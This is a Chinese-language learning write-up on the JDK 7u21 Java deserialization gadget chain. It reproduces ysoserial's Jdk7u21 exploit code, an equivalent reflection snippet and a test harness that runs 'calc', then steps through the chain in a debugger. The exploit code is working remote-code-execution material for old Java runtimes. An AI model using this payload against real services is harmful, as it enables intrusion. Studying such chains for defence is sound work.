前言 前面的cc链都是第三方组件的利用链,现在学习下JDK7u21的原生反序列化链。
影响版本 JDK7u21这个版本以及之前时间发布的所有Java版本都有问题。
利用链分析 引入javassist,下面用到javassist就是为了方便生成恶意类的字节码,而且版本要低一些,高版本不兼容jdk7,只能用jdk8及其更高版本。
1 2 3 4 5 6 7 8 9 10 11 12 13 <properties> <maven.compiler.source>7 </maven.compiler.source> <maven.compiler.target>7 </maven.compiler.target> </properties> <dependencies> <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.20 .0 -GA</version> </dependency> </dependencies>
7u21这条链核心就在于AnnotationInvocationHandler这个类。联想到CC1的时候第一次接触它,这个类有两种利用思路,一种是利用它的readObject(),另一种就是利用它的invoke(),因为AnnotationInvocationHandler是一个实现了InvocationHandler接口的类,可以应用于动态代理中。
看下yso中给出的调用链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 LinkedHashSet.readObject() LinkedHashSet.add() ... TemplatesImpl.hashCode() (X) LinkedHashSet.add() ... Proxy(Templates).hashCode() (X) AnnotationInvocationHandler.invoke() (X) AnnotationInvocationHandler.hashCodeImpl() (X) String.hashCode() (0 ) AnnotationInvocationHandler.memberValueHashCode() (X) TemplatesImpl.hashCode() (X) Proxy(Templates).equals() AnnotationInvocationHandler.invoke() AnnotationInvocationHandler.equalsImpl() Method.invoke() ... TemplatesImpl.getOutputProperties() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() TemplatesImpl.defineTransletClasses() ClassLoader.defineClass() Class.newInstance() ... MaliciousClass.<clinit>() ... Runtime.exec()
看下yso中的poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 public Object getObject (final String command) throws Exception { final Object templates = Gadgets.createTemplatesImpl(command); String zeroHashCodeStr = "f5a5a608" ; HashMap map = new HashMap (); map.put(zeroHashCodeStr, "foo" ); InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); Reflections.setFieldValue(tempHandler, "type" , Templates.class); Templates proxy = Gadgets.createProxy(tempHandler, Templates.class); LinkedHashSet set = new LinkedHashSet (); set.add(templates); set.add(proxy); Reflections.setFieldValue(templates, "_auxClasses" , null ); Reflections.setFieldValue(templates, "_class" , null ); map.put(zeroHashCodeStr, templates); return set; }
首先是
1 final Object templates = Gadgets.createTemplatesImpl(command);
进到方法中
最后调用了它的重载方法,方法中,首先对传入的TemplatesImpl进行了实例化,然后用javassist动态创建了一个恶意类
最后这段代码使用了Reflections.setFieldValue把templates里面的_bytecodes设置为前面动态创建的类的字节码。
setFieldValue()是通过反射去实现的
继续往下看
查看一下Reflections.getFirstCtor方法,内部就是使用反射创建一个无参构造的对象
传递的name就是AnnotationInvocationHandler
Reflections.getFirstCtor方法返回AnnotationInvocationHandler对象,然后调用newInstance实例化该对象,传入构造方法中的参数是Override.class和map,这个在cc链学习的时候页接触到过这种传参方式。
下面这段代码和之前一样通过反射将tempHandler里面的type的变量改成Templates.class
1 Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);
再来看到下一段代码,跟进一下Gadgets.createProxy方法,主要就最后一行,使用了Templates去做动态代理
等价于下面的代码
1 2 3 4 5 6 7 8 Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true ); InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap); Templates templates=(Templates)Proxy.newProxyInstance(Templates.class.getClassLoader(),Templates.class.getInterfaces(),invocationHandler); Object object=constructor.newInstance(Override.class,templates);
接着往下看
实例化一个LinkedHashSet对象,并将templates和proxy添加进去。
调试分析 先编写一个测试类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 package ysoserial;import ysoserial.payloads.Jdk7u21;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;public class Test { public static void main (String[] args) throws Exception { Object calc = new Jdk7u21 ().getObject("calc" ); ObjectOutputStream objectOutputStream = new ObjectOutputStream (new FileOutputStream ("test.ser" )); objectOutputStream.writeObject(calc); System.out.println("序列化输出----" ); ObjectInputStream objectInputStream = new ObjectInputStream (new FileInputStream ("test.ser" )); Object o = objectInputStream.readObject(); } }
成功触发
接下来分析下该利用链的具体调用过程,根据yso返回的是LinkedHashSet实例化对象,所以反序列化时先会调用LinkedHashSet#readObject()方法。
可以看到并没有readObject()方法
查看下父类,发现继承了HashSet
那么会调用HashSet#readObject()方法,在里面打个断点,这里调用了map.put()方法,跟进一下
发现调用的是HashMap#put()方法,这里有个for循环,因为table数组是空的所以并不会进入循环中,下面会调用addEntry,将这几个值添加进去,hash的值为hash方法处理TemplatesImpl的值,key为TemplatesImpl的实例对象,value则是一个空的Object对象,i参数为indexFor方法处理hash后的结果。
返回之后,继续调用put方法
此时table中有了值,所以进入for循环
这里的key为代理类,代理类执行方法时,会触发AnnotationInvocationHandler的invoke方法执行
这里通过if判断后,会调用equalsImpl()方法
进入方法中,可以看到这里会通过反射调用 var1 对象的 var5 方法,此时var1为TemplatesImpl,var5是名为newTransformer的Method对象
那么这里是怎么获取var5的呢,可以看到上面通过getMemberMethods()方法拿到Method类类型的数组,跟进这个方法看一下。通过反射拿到this.type对象的方法,这里的type为templates对象
这里返回了两个方法
然后拿到这两个方法之后,就会进入for循环,通过var8 = var5.invoke(var1);分别通过反射调用这两个方法,var1就是TemplatesImpl的实例对象。也就是说会调用TemplatesImpl#getOutputProperties()方法,后面的调用步骤和走之前CC链利用TemplatesImpl构造恶意类的调用时一样的。
往下就是之前TemplatesImpl的调用链了,getOutputProperties方法会去调用newTransformer方法,newTransformer又会去调用getTransletInstance方法。
参考 https://www.cnblogs.com/nice0e3/p/14026849.html